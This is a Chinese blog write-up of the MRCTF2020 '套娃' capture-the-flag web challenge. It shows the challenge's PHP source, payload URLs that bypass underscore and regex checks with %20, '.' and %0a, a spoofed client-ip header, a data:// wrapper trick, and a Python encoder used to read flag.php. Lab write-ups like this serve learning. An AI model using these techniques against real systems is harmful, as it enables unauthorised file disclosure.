[MRCTF2020]套娃

[MRCTF2020]套娃

打开环境发现有张图片显示不出来

j3hFn5kA0vmUG4ww8xFqNRMdwRU6VDWAB566vYAc3lc

查看网页源代码发现部分代码

EQ-9HSC1Tkp6D0ha9qoDh2CqGx9wJgXKQsU23DGF1LM

$query = $_SERVER['QUERY_STRING'];

 if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    die('Y0u are So cutE!');
}
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    echo "you are going to the next ~";
}

$_SERVER['QUERY_STRING']获取查询(query)的字符串。例如https://www.shawroot.cc/?tags/upload,那么$_SERVER['QUERY_STRING']=tags/upload

substr_count():计算字符串出现的次数。%5f就是"_"的十六进制。

可以使用"%20"、"."代替下划线,因为这里计算的是"%5f"的次数,十六进制不区分大小写,也可以使用"%5F"去绕过。

第2个if的中要求内容不能是"23333",但是执行匹配正则表达式,想到达下一关$_GET['b_u_p_t']的值必须是23333

%0a即换行符的url编码,在preg_match没启动/s模式(单行匹配模式)时,正则表达式是无法匹配换行符(%0a,\n)的,且会自动忽略末尾的换行符

利用以上特性,第一关payload可以如下:

?b%20u%20p%20t=23333%0a
?b.u.p.t=23333%0a

hgS6poMn9bZv00wYpjvhNXkLqGIqpLvsqaxcyNH4T8Y

根据提示flag在secrettw.php中,尝试打开这个页面

iPrk-w_tbedUTXKNq_GvtLkmSezJjCDzBHOVgfQoVK8

源代码中发现JSFuck编码

iwEoQgmweuWGsX4ybfjfYyvtNKFdl-JD3tFOu8TasOM

运行后告知需要传入Merak参数

FwNbyGR8k8c3WR5cFSDCZf5kHz8eGutQOxQfzcKO7QI

传入任意参数值后页面中显示源码

RCi7cszb9iP-Qth1cjC5aLzwN1bxNmIua_xe4m__iaE

<?php 
error_reporting(0); 
include 'takeip.php';
ini_set('open_basedir','.'); 
include 'flag.php';

if(isset($_POST['Merak'])){ 
    highlight_file(__FILE__); 
    die(); 
} 


function change($v){ 
    $v = base64_decode($v); 
    $re = ''; 
    for($i=0;$i<strlen($v);$i++){ 
        $re .= chr ( ord ($v[$i]) + $i*2 ); 
    } 
    return $re; 
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission!  Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?> 

猜测getIp()可能通过X-Forwarder-For或client-ip头可以绕过。

在请求头部添加

X-Forwarder-For: 127.0.0.1

client-ip: 127.0.0.1

经过测试发现这里XFF无效,必须使用client-ip

file_get_contents($_GET['2333']) === 'todat is a happy day' )可由data:\\伪协议绕过

secrettw.php?2333=data://text/plain,todat+is+a+happy+day
空格需要url编码

change()函数将传入的字符串进行base64解码然后进行简单加密。

我们需要传入flag.php故需要先将flag.php逐字符进行加密,然后进行base64编码。

import base64

cstr = "flag.php"
tmp = ""
for i in range(len(cstr)):
    ch = chr(ord(cstr[i])- i*2)
    tmp += ch
print(base64.b64encode(tmp.encode()))

zgkLA5WGyP8t9xZLPvxrjwjTENgiCfckmCzhwcshxJc

最终的payload为

/secrettw.php?2333=data://text/plain,todat+is+a+happy+day&file=ZmpdYSZmXGI%3D

lKLmbsYi3SKLUlbPD4UZSdNoMlJibYGKSYU4UoH6nKM

posted on 2024-05-01 11:05  跳河离去的鱼  阅读(74)  评论(0编辑  收藏  举报